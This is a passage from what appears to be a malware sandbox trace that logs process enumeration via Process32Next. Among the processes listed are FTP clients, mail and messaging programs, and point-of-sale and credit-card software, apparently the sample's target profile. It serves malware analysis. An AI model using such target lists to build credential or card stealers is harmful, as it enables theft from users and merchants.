lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0278.154] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0278.156] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0278.157] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.208] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0278.212] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0278.216] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0278.219] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0278.223] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0278.225] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0278.226] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0278.228] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0278.230] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0278.231] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0278.233] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0278.236] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0278.238] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0278.240] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0278.242] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0278.244] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0278.245] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0278.247] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0278.249] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0278.288] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0278.291] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0278.293] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0278.295] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0278.297] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0278.300] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0278.302] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0278.304] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0278.307] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0278.310] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0278.312] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0278.314] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0278.316] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0278.319] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0278.321] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0278.323] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0278.325] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0278.328] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0278.366] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0278.369] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0278.372] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0278.374] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0278.377] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0278.379] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0278.382] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0278.384] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0278.387] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0278.390] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0278.393] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0278.396] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0278.398] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0278.401] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0278.404] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0278.406] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0278.409] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0278.493] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0278.495] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0278.497] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0278.498] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0278.500] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0278.502] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0278.504] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0278.506] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0278.508] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0278.510] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0278.512] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0278.514] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0278.516] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0278.519] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0278.521] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0278.523] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0278.526] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0278.528] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0278.568] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0278.569] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0278.571] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0278.573] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0278.574] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0278.576] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0278.578] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0278.579] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0278.581] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, 